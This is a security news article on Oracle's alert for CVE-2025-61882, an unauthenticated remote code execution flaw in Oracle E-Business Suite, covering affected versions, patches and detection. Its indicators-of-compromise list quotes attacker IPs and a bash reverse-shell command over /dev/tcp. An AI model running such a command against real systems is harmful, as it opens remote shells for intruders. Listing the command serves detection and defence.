Oracle has issued a security alert warning users about a zero-day vulnerability in its widely used Oracle E-Business Suite. Tracked as CVE-2025-61882, this flaw allows unauthenticated, remote attackers to execute arbitrary code on affected systems. The vulnerability carries a CVSS v3.1 base score of 9.8, marking it as one of the most critical threats to the platform to date.
Vulnerability Targets and Risk Level
According to Oracle’s advisory, CVE-2025-61882 resides in the Concurrent Processing component of the E-Business Suite, specifically within the BI Publisher Integration. The flaw is exploitable via HTTP and does not require user credentials or any user interaction, meaning it can be executed remotely over a network.
The risk matrix published with the alert shows that the attack vector is "Network," with low complexity and no privileges needed. Successful exploitation results in a high impact on the confidentiality, integrity, and availability of the system. Oracle explicitly states: "This vulnerability is remotely exploitable without authentication... If successfully exploited, it may result in remote code execution."
The vulnerability affects Oracle E-Business Suite versions 12.2.3 through 12.2.14. Oracle is strongly urging all customers to apply the necessary security updates without delay.
Patch Requirements and Support
Before installing the patch that addresses CVE-2025-61882, users must ensure their systems have already applied the October 2023 Critical Patch Update (CPU). This earlier update is a prerequisite for successfully applying the current fixes released in the October 2025 alert.
Oracle notes that only versions under Premier Support or Extended Support, as defined by its Lifetime Support Policy, will receive official patches. Systems running out of support versions are not tested against this vulnerability and remain at risk, even if they are technically vulnerable.
The company's guidance stresses: "Oracle recommends that customers plan product upgrades to ensure that patches released through the Security Alert program are available for the versions they are currently running." Affected product and patch information is available through Oracle’s Patch Availability Document, which provides installation instructions for each supported version.
Indicators of Compromise and Mitigation
Oracle has provided a comprehensive set of Indicators of Compromise (IOCs) to help organizations detect and respond to potential attacks involving CVE-2025-61882. The list includes suspicious IP addresses, observed shell commands, and SHA-256 hashes of known exploit files.
Key Indicators of Compromise include:
- Suspicious IPs: 200.107.207.26 and 185.181.60.11
- Malicious Command: sh -c /bin/bash -i >& /dev/tcp// 0>&1
- Associated Files: Exploit samples like oracle_ebs_nday_exploit_poc_scattered_lapsus_retard_cl0p_hunters.zip, exp.py, and server.py, all with associated SHA-256 hashes.
Additionally, a public detection method is now available on GitHub. This tool identifies outdated E-Business Suite instances by checking if the HTTP response contains the string “E-Business Suite Home Page” and if the Last-Modified header shows a timestamp before October 4, 2025 (Unix timestamp 1759602752). This method is strictly for defensive use.
Oracle also reminds administrators that the protocol listing in the risk matrix (HTTP) implies all secure variants, such as HTTPS, are affected as well. For users, the immediate advice is to update to supported versions, apply the October 2023 CPU if not already done, and then immediately install the October 2025 patch. Meanwhile, monitoring systems for the listed IOCs can help detect and contain any potential exploitation attempts already underway.
